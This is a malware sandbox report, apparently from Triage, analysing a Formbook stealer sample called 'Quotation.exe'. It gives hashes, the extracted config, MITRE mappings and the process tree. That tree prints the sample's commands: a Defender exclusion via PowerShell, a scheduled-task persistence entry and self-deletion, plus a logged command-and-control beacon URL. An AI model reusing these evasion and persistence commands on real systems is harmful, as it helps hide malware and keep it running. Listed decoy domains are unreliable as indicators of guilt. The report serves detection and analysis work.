formbook | b81deeedf20176eab269dc52fb165d8d8c7f74fe3bddf09089702b37dd012ce6 | Triage

Analysis

max time kernel
150s
max time network
122s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
03/05/2023, 10:19 UTC

Sharing

Report Analysis Logs

General

Target

Quotation.exe
Size

704KB
MD5

64d571f6ab61788ccd1d0e7e83f85e1e
SHA1

65c6d2dc29a74b4ae79594c2a0517c41a0798f9c
SHA256

b81deeedf20176eab269dc52fb165d8d8c7f74fe3bddf09089702b37dd012ce6
SHA512

29f813bf6539d76e68955f93ab96b2a8b3174118f05be8a9ec4432e9761ac7694863146e29247cfedd243414fdebd07ebbdb3537e5a729f985bc6ba3686e89a1
SSDEEP

12288:MPFQH49xB8v6CJvt7pxtQdqqEoL9zH95wo3BE:CFQY9EtxtQdBEoL9zb3O

Score

10^/10

formbook ce18 rat spyware stealer trojan

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

ce18

Decoy

kenfinnegan.com

exopestireland.com

allthingzbeautiellc.com

attractiveidiot.com

calmsealight.com

ectobyte.com

8rr.xyz

hcmajq.info

alisongraceventures.com

jamtanganbagus.online

forexpropfirmmastery.com

coupimmobilier.com

amarisetechnologies.com

countrykidsclothing.com

eyecatcher.tech

merxip.online

fiteallc.com

themensroombarber.co.uk

seroofingtelford.co.uk

birdie786.com

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook

Formbook payload 6 IoCs

resource	yara_rule
behavioral1/memory/1492-71-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral1/memory/668-73-0x00000000025E0000-0x0000000002620000-memory.dmp	formbook
behavioral1/memory/1492-75-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral1/memory/1492-84-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral1/memory/1604-86-0x0000000000080000-0x00000000000AF000-memory.dmp	formbook
behavioral1/memory/1604-88-0x0000000000080000-0x00000000000AF000-memory.dmp	formbook

Deletes itself 1 IoCs

pid	Process
1972	cmd.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1380 set thread context of 1492	1380	Quotation.exe	33
PID 1492 set thread context of 1264	1492	Quotation.exe	13
PID 1492 set thread context of 1264	1492	Quotation.exe	13
PID 1604 set thread context of 1264	1604	NAPSTAT.EXE	13

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

Scheduled Task

pid	Process
808	schtasks.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
1380	Quotation.exe
1380	Quotation.exe
668	powershell.exe
1492	Quotation.exe
1492	Quotation.exe
1492	Quotation.exe
1604	NAPSTAT.EXE
1604	NAPSTAT.EXE
1604	NAPSTAT.EXE
1604	NAPSTAT.EXE
1604	NAPSTAT.EXE
1604	NAPSTAT.EXE
1604	NAPSTAT.EXE
1604	NAPSTAT.EXE
1604	NAPSTAT.EXE
1604	NAPSTAT.EXE
1604	NAPSTAT.EXE
1604	NAPSTAT.EXE
1604	NAPSTAT.EXE
1604	NAPSTAT.EXE
1604	NAPSTAT.EXE
1604	NAPSTAT.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1264	Explorer.EXE

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
1492	Quotation.exe
1492	Quotation.exe
1492	Quotation.exe
1492	Quotation.exe
1604	NAPSTAT.EXE
1604	NAPSTAT.EXE

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1380	Quotation.exe
Token: SeDebugPrivilege	668	powershell.exe
Token: SeDebugPrivilege	1492	Quotation.exe
Token: SeDebugPrivilege	1604	NAPSTAT.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1264	Explorer.EXE
1264	Explorer.EXE

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
1264	Explorer.EXE
1264	Explorer.EXE

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1380 wrote to memory of 668	1380	Quotation.exe	28
PID 1380 wrote to memory of 668	1380	Quotation.exe	28
PID 1380 wrote to memory of 668	1380	Quotation.exe	28
PID 1380 wrote to memory of 668	1380	Quotation.exe	28
PID 1380 wrote to memory of 808	1380	Quotation.exe	30
PID 1380 wrote to memory of 808	1380	Quotation.exe	30
PID 1380 wrote to memory of 808	1380	Quotation.exe	30
PID 1380 wrote to memory of 808	1380	Quotation.exe	30
PID 1380 wrote to memory of 944	1380	Quotation.exe	32
PID 1380 wrote to memory of 944	1380	Quotation.exe	32
PID 1380 wrote to memory of 944	1380	Quotation.exe	32
PID 1380 wrote to memory of 944	1380	Quotation.exe	32
PID 1380 wrote to memory of 1492	1380	Quotation.exe	33
PID 1380 wrote to memory of 1492	1380	Quotation.exe	33
PID 1380 wrote to memory of 1492	1380	Quotation.exe	33
PID 1380 wrote to memory of 1492	1380	Quotation.exe	33
PID 1380 wrote to memory of 1492	1380	Quotation.exe	33
PID 1380 wrote to memory of 1492	1380	Quotation.exe	33
PID 1380 wrote to memory of 1492	1380	Quotation.exe	33
PID 1264 wrote to memory of 1604	1264	Explorer.EXE	34
PID 1264 wrote to memory of 1604	1264	Explorer.EXE	34
PID 1264 wrote to memory of 1604	1264	Explorer.EXE	34
PID 1264 wrote to memory of 1604	1264	Explorer.EXE	34
PID 1604 wrote to memory of 1972	1604	NAPSTAT.EXE	35
PID 1604 wrote to memory of 1972	1604	NAPSTAT.EXE	35
PID 1604 wrote to memory of 1972	1604	NAPSTAT.EXE	35
PID 1604 wrote to memory of 1972	1604	NAPSTAT.EXE	35

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1264
- C:\Users\Admin\AppData\Local\Temp\Quotation.exe
  "C:\Users\Admin\AppData\Local\Temp\Quotation.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1380
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\wKVmDzRBwGW.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:668
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wKVmDzRBwGW" /XML "C:\Users\Admin\AppData\Local\Temp\tmpBD86.tmp"
    3⤵
    - Creates scheduled task(s)
    PID:808
- - C:\Users\Admin\AppData\Local\Temp\Quotation.exe
    "C:\Users\Admin\AppData\Local\Temp\Quotation.exe"
    3⤵
    PID:944
- - C:\Users\Admin\AppData\Local\Temp\Quotation.exe
    "C:\Users\Admin\AppData\Local\Temp\Quotation.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    PID:1492
- C:\Windows\SysWOW64\NAPSTAT.EXE
  "C:\Windows\SysWOW64\NAPSTAT.EXE"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1604
- - C:\Windows\SysWOW64\cmd.exe
    /c del "C:\Users\Admin\AppData\Local\Temp\Quotation.exe"
    3⤵
    - Deletes itself
    PID:1972

Network

DNS

www.forexpropfirmmastery.com

Explorer.EXE

Remote address:

8.8.8.8:53

Request

www.forexpropfirmmastery.com

IN A

Response
DNS

www.amarisetechnologies.com

Explorer.EXE

Remote address:

8.8.8.8:53

Request

www.amarisetechnologies.com

IN A

Response

www.amarisetechnologies.com

IN CNAME

amarisetechnologies.com

amarisetechnologies.com

IN A

103.213.238.82
GET

http://www.amarisetechnologies.com/ce18/?AN=6a3I8bcj/M0caEP40phs2xumxfzjwqT9vaQ5ZYtWSl91lHGtFFE2LeT7tLv95yfk&2ds=izrLUxfxB4ht7

Explorer.EXE

Remote address:

103.213.238.82:80

Request

GET /ce18/?AN=6a3I8bcj/M0caEP40phs2xumxfzjwqT9vaQ5ZYtWSl91lHGtFFE2LeT7tLv95yfk&2ds=izrLUxfxB4ht7 HTTP/1.1
Host: www.amarisetechnologies.com
Connection: close

Response

HTTP/1.1 302 Found

content-type: text/html
content-length: 706
date: Wed, 03 May 2023 10:21:06 GMT
server: LiteSpeed
location: 404.html
connection: close

103.213.238.82:80

http://www.amarisetechnologies.com/ce18/?AN=6a3I8bcj/M0caEP40phs2xumxfzjwqT9vaQ5ZYtWSl91lHGtFFE2LeT7tLv95yfk&2ds=izrLUxfxB4ht7

http

Explorer.EXE

354 B
1.1kB
4
5

HTTP Request

GET http://www.amarisetechnologies.com/ce18/?AN=6a3I8bcj/M0caEP40phs2xumxfzjwqT9vaQ5ZYtWSl91lHGtFFE2LeT7tLv95yfk&2ds=izrLUxfxB4ht7

HTTP Response

302

8.8.8.8:53

www.forexpropfirmmastery.com

dns

Explorer.EXE

74 B
147 B
1
1

DNS Request

www.forexpropfirmmastery.com
8.8.8.8:53

www.amarisetechnologies.com

dns

Explorer.EXE

73 B
103 B
1
1

DNS Request

www.amarisetechnologies.com

DNS Response

103.213.238.82

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\tmpBD86.tmp

Filesize
1KB

MD5
753d4588c59af7a42f5d1949602c6598

SHA1
677bc5fe37077696fd51342412f9a693d634a9bf

SHA256
258a79e97a9501dec12880e6a9ed3d6d96129fd7a6384c12ee4ea61854bc90b8

SHA512
7ec680cbe0130f2531ab6949e671f99244c427cb0a72e6496402a88e293eb77374d41d7109254fd00ab1495e5b68d3117bdf8144c2cfcde3940e618170760a52

Download Submit
memory/668-74-0x00000000025E0000-0x0000000002620000-memory.dmp

Filesize
256KB

Download
memory/668-73-0x00000000025E0000-0x0000000002620000-memory.dmp

Filesize
256KB

Download
memory/1264-96-0x00000000061C0000-0x00000000062CC000-memory.dmp

Filesize
1.0MB

Download
memory/1264-78-0x0000000006B90000-0x0000000006D16000-memory.dmp

Filesize
1.5MB

Download
memory/1264-93-0x00000000061C0000-0x00000000062CC000-memory.dmp

Filesize
1.0MB

Download
memory/1264-92-0x00000000061C0000-0x00000000062CC000-memory.dmp

Filesize
1.0MB

Download
memory/1264-82-0x0000000007410000-0x000000000758E000-memory.dmp

Filesize
1.5MB

Download
memory/1264-80-0x00000000037A0000-0x00000000038A0000-memory.dmp

Filesize
1024KB

Download
memory/1380-58-0x0000000000520000-0x000000000052C000-memory.dmp

Filesize
48KB

Download
memory/1380-59-0x0000000005A30000-0x0000000005AAE000-memory.dmp

Filesize
504KB

Download
memory/1380-57-0x0000000004E70000-0x0000000004EB0000-memory.dmp

Filesize
256KB

Download
memory/1380-67-0x0000000004840000-0x0000000004886000-memory.dmp

Filesize
280KB

Download
memory/1380-56-0x0000000000410000-0x0000000000420000-memory.dmp

Filesize
64KB

Download
memory/1380-55-0x0000000004E70000-0x0000000004EB0000-memory.dmp

Filesize
256KB

Download
memory/1380-54-0x0000000000A10000-0x0000000000AC6000-memory.dmp

Filesize
728KB

Download
memory/1492-75-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/1492-71-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/1492-76-0x0000000000AD0000-0x0000000000DD3000-memory.dmp

Filesize
3.0MB

Download
memory/1492-81-0x00000000001E0000-0x00000000001F5000-memory.dmp

Filesize
84KB

Download
memory/1492-69-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/1492-84-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/1492-68-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/1492-77-0x0000000000140000-0x0000000000155000-memory.dmp

Filesize
84KB

Download
memory/1492-70-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/1604-83-0x0000000000610000-0x0000000000656000-memory.dmp

Filesize
280KB

Download
memory/1604-88-0x0000000000080000-0x00000000000AF000-memory.dmp

Filesize
188KB

Download
memory/1604-90-0x0000000001E10000-0x0000000001EA4000-memory.dmp

Filesize
592KB

Download
memory/1604-87-0x0000000001EC0000-0x00000000021C3000-memory.dmp

Filesize
3.0MB

Download
memory/1604-86-0x0000000000080000-0x00000000000AF000-memory.dmp

Filesize
188KB

Download
memory/1604-85-0x0000000000610000-0x0000000000656000-memory.dmp

Filesize
280KB

Download